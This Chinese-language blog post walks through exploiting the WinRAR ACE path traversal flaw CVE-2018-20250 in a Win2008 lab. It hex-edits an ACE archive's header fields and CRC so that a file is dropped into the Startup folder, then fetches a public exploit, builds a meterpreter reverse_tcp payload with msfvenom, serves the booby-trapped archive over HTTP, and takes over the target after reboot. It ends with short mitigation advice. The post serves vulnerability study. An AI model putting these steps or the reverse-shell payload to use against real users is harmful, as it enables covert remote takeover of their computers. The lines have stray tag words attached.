這漏洞出來幾天了,以前沒怎麼關注,可是這兩天發現開始有利用這個漏洞進行挖礦和病毒傳播了,因而想動手復現一波。html
WinRAR 代碼執行相關的CVE 編號以下:python
CVE-2018-20250,CVE-2018-20251, CVE-2018-20252, CVE-2018-20253git
這裏咱們復現最開始的WinRAR目錄穿越漏洞(CVE-2018-20250)。github
WinRAR目錄穿越漏洞(CVE-2018-20250):windows
該漏洞是因爲WinRAR 所使用的一個陳舊的動態連接庫UNACEV2.dll所形成的,該動態連接庫在2006 年被編譯,沒有任何的基礎保護機制(ASLR,DEP 等)。該動態連接庫的做用是處理ACE 格式文件。而在解壓處理過程當中存在一處目錄穿越漏洞,容許解壓過程寫入文件至開機啓動項,致使代碼執行。瀏覽器
WinRAR < 5.70 Beta 1服務器
Bandizip < = 6.2.0.0tcp
好壓(2345壓縮) < = 5.9.8.10907工具
360壓縮 < = 4.0.0.1170spa
攻擊不能跨盤符,即受害者進行解壓文件觸發漏洞時,必須在系統盤,且在不知道計算機主機名的狀況下,只能在主瀏覽器的默認下載路徑下(C:\Users\Administrator\Downloads)或者桌面進行解壓,或者多猜幾個啓動項路徑。產生漏洞的DLL文件:UNACEV2.DLL,不能識別相對路徑,文件名部分必須爲絕對路徑。
如下是幾種機器的開機啓動項路徑,能夠看到在我的PC上受用戶名影響,沒法猜想到準確的路徑,而服務器上通常不會修改用戶名,因此這個漏洞在服務器上利用度比較高。
Win2003開機啓動項路徑:C:\Documents and Settings\Administrator\「開始」菜單\程序\啓動
Win2008開機啓動項路徑:C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
Win2012開機啓動項路徑:C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
Win7 開機啓動項路徑:C:\Users\用戶\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
Win10 開機啓動項路徑:C:\Users\用戶\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 本次試驗使用的是Win2008,
服務器:Win2008 R2
WinRAR 5.60簡體中文版:https://www.rarlab.com/rar/winrar-x64-560sc.exe
Python-3.7.2-amd64.exe:https://www.python.org/ftp/python/3.7.2/python-3.7.2-amd64.exe
010Editor:https://download.sweetscape.com/010EditorWin64Installer901.exe
Wace和模板文件:https://github.com/360-A-Team/CVE-2018-20250
EXP:https://github.com/WyAtu/CVE-2018-20250
這裏咱們寫一個bat,進行彈窗演示:
而後打開WinAce,選中咱們建立的文件,右鍵,點擊Add to...
利用WinACE進行壓縮,這裏選擇store full path。
生成以後咱們利用腳本檢查一下咱們生成的文件1.ace的header信息:
這裏幾個是咱們須要修改的參數。
在010Edit工具中打開剛纔生成的1.ace文件,將文件路徑替換爲啓動項路徑以下,而後能夠看到新的完整的文件路徑長度爲93,轉換爲16進制後爲:5D。
修改完這兩個地方以後點擊保存,接着還須要修改hdr_size。
這三個地方修改完成以後點擊保存。
最後利用acefile.py從新查看文件header信息。修改acefile.py,在3061行處添加如下語句,輸出文件hdr_crc。
print("[+] right_hdr_crc : {} | struct {} ".format(hex(ace_crc16(buf)),struct.pack('<H', ace_crc16(buf)))) print("[*] current_hdr_crc : {} | struct {}".format(hex(hcrc),struct.pack('<H', hcrc)))
能夠看到當前的hdr_crc爲:16 9A,咱們要把它改成E4 A3,保存以後從新查看文件header信息。
修改完成,將文件另存爲1.rar。
選擇解壓到當前文件夾或解壓到文件夾1均可以,能夠看到bat文件成功解壓到開機啓動項裏。
重啓電腦查看效果。
復現成功,自動運行bat文件彈窗。
首先下載EXP:
wget https://github.com/WyAtu/CVE-2018-20250/archive/master.zip
這裏我解壓/root/tools目錄下:
而後利用msf生成一個惡意程序,放到該目錄下:
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.86.129 lport=4444 -f exe -o /root/tools/CVE-2018-20250-master/test.exe
修改exp.py文件:
將evil_filename改成咱們生成的惡意程序。
將py -3 改成python3,修改完成以後保存,運行如下命令:
python3 exp.py
成功生成攻擊文件test.rar,只要誘導用戶下載解壓這個壓縮文件呢,就可獲得用戶電腦權限,這裏只演示功能,咱們用python簡單開啓一個http服務:
python -m SimpleHTTPServer
切換到win2008,也就是咱們要攻擊的目標機器。下載test.rar,而後直接在下載目錄解壓(也可選擇在桌面解壓)。
能夠看到在系統的啓動路徑下成功解壓出hi.exe文件。接着咱們在kali上面開啓監聽,而後重啓win2008。
成功拿到目標機器權限。
刪除受影響壓縮軟件目錄下UNACEV2.dll文件能有效防護。
升級到最新版本,WinRAR 目前版本是 5.70 Beta 1。
總而言之,該漏洞並無那麼致命。目標性的打站,得先欺騙下載,並再在未防禦的服務器上解壓,企業服務器管理員都很難會這樣作。並且必須得服務器重啓才能生效,不能直接執行腳本。
https://blog.csdn.net/qq_29910529/article/details/88069707
https://bbs.pediy.com/thread-249613.htm
https://www.cnblogs.com/backlion/p/10417985.html
https://mp.weixin.qq.com/s/qT-lL-kCDHJKCMCmeQq7Ng
http://www.hetianlab.com/expc.do?ce=7ebc7ed1-ab4b-4eba-9451-02954d9b7b00
笨鳥先飛早入林,笨人勤學早成材。
轉載請註明出處:
撰寫人:fox-yu http://www.cnblogs.com/fox-yu/